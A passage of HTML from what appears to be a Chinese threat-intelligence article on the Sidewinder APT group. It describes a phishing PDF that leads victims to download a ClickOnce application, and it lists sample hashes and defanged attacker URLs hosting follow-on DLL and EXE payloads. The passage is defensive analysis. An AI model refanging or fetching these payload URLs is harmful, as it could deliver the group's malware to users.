src="https://wechat2rss.xlab.app/img-proxy/?k=78688389&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLiaIMn3yxLG2LeVLM5cJ9Zp0pmZDyicy1iafV15joRMLhvsoNfU6jbWsql5jxjH6ZCT95LrYD48PbeFD178Pkzz5X7q1RickweXVY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="font-size: 15px;margin: 16px 0px;color: rgb(51, 51, 51);letter-spacing: 1px;" data-mpa-md-action-id="mo1acalkuio" data-nest-level="3"><span mpa-font-style="mo1adudvyeh" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">恶意载荷分析</span></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acall1ec" data-nest-level="3"><span mpa-font-style="mo1adudvp2o" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">捕获的恶意样本如下所</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">示</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">：</span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width:547px;"><tbody><tr><td data-colwidth="88" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">MD5</span></span></span></p></td><td data-colwidth="459" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">ac0623ac3349356060f8f37838ec332b</span></span></span></p></td></tr><tr><td data-colwidth="88" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件名称</span></span></span></p></td><td data-colwidth="459" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">--</span></span></span></p></td></tr><tr><td data-colwidth="88" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件类型</span></span></span></p></td><td data-colwidth="459" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrviygux1ekl"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">PDF</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;text-align: justify;" data-mpa-md-action-id="mo1acallq69" data-nest-level="3"><span mpa-font-style="mo1adudvapb" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">响尾蛇APT组织向受害用户投递带有恶意链接的PDF文档，该文件会引导受害者点击Download file，用户点击后会通过“https[:]//webmail-pnra.gov-pk.workers[.]dev/ftp.pnra.org.application”链接下载后续载荷。而后续载荷则为application文件。</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7757166947723441" data-w="1186" style="width: 552.68px;height: 428.74px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=f5d11fd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKZqnDUkHzz2v2DJ461jKY6bRgCfhDyiaU9ORqxjXIribHB9G4OLibghiaexYguWY4knTRhZxlLKAax6uxc8LLNqPWga3XtrABYtpk%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width: 425px;"><tbody><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">MD5</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">86c3d19dcfb5775a4895832fad052d17</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件名称</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">ftp.pnra.org.application</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件类型</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrviyngz15gf"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">application</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acall1vvn" data-nest-level="3"><span mpa-font-style="mo1adudvfwz" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">application文件的安装模式为在线安装，文件的URL为：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acall20oi" data-nest-level="3"><span mpa-font-style="mo1adudv1205" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">https[:]//webmail-pnra.gov-pk.workers[.]dev/ftp.pnra.org.application</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acall1ogq" data-nest-level="3"><span mpa-font-style="mo1adudv1a1k" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">配置文件的URL为：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acall12t6" data-nest-level="3"><span mpa-font-style="mo1adudve1z" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">https[:]//webmail-pnra.gov-pk.workers[.]dev/ftp.pnra.org.exe.manifest</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3538219070133964" data-w="1269" style="width: 553.61px;height: 196px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=a8ea8274&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLOWo5RxGdick3ScbYTN1RsDE4CZNk99iaq31GkADEsLCfamic06o71OEYSbo0k5BFBM4XK0aFyj8a4hB0rDyKypEZCfqGKDDJ58I%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalls7o" data-nest-level="3"><span mpa-font-style="mo1adudvcx5" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">下载后的ftp.pnra.org.exe.manifest文件内容如下：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalmmaf" data-nest-level="3"><span mpa-font-style="mo1adudv1exw" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">应用清单：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalmlo4" data-nest-level="3"><span mpa-font-style="mo1adudvomp" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">https[:]//webmail-pnra.gov-pk.workers[.]dev/ftp.pnra.org.exe.manifest</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalmluj" data-nest-level="3"><span mpa-font-style="mo1adudv1xsk" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">后续恶意组件：</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalm6bf" data-nest-level="3"><span mpa-font-style="mo1adudv1wi3" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">https[:]//webmail-pnra.gov-pk.workers[.]dev/OneDrive.exe</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalm1kqu" data-nest-level="3"><span mpa-font-style="mo1adudvi8n" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">https[:]//webmail-pnra.gov-pk.workers[.]dev/mscorsvc.dll</span></span></p><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalm2502" data-nest-level="3"><span mpa-font-style="mo1adudvokf" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">https[:]//webmail-pnra.gov-pk.workers[.]dev/system32.dll</span></span></p><p data-mpa-md-key="common" style="margin: 16px 0px;font-size: 15px;color: rgb(51, 51, 51);" data-nest-level="3"><span style="height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;height: auto;width: auto;max-height: none;max-width: none;min-height: auto;min-width: auto;" data-nest-level="5"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5074980268350434" data-w="1267" style="width: 552.94px;height: 280.54px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=85a920a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIcrLujtwiad6MpHkklo5wibku2aCLxTsGGbhTfPEkaPybNA9ndibgkDEK4aRa46svWBlwnjHTreBiaBFw2ibQs89iaYCFW9IkTlUcP8%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p data-mpa-md-key="text" style="font-size: 15px;margin: 16px 0px;color: rgb(51, 51, 51);letter-spacing: 1px;" data-mpa-md-action-id="mo1acalm1z4w" data-nest-level="3"><span mpa-font-style="mo1adudv3ah" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">3.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击组件分析</span></span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width:563px;"><tbody><tr><td data-colwidth="109" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">MD5</span></span></span></p></td><td data-colwidth="454" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">76195b41d2e0c8008c23e77363a7455a</span></span></span></p></td></tr><tr><td data-colwidth="109" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件名称</span></span></span></p></td><td data-colwidth="454" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">mscorsvc.dll</span></span></span></p></td></tr><tr><td data-colwidth="109" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件类型</span></span></span></p></td><td data-colwidth="454" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrvizjnf1nte"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" 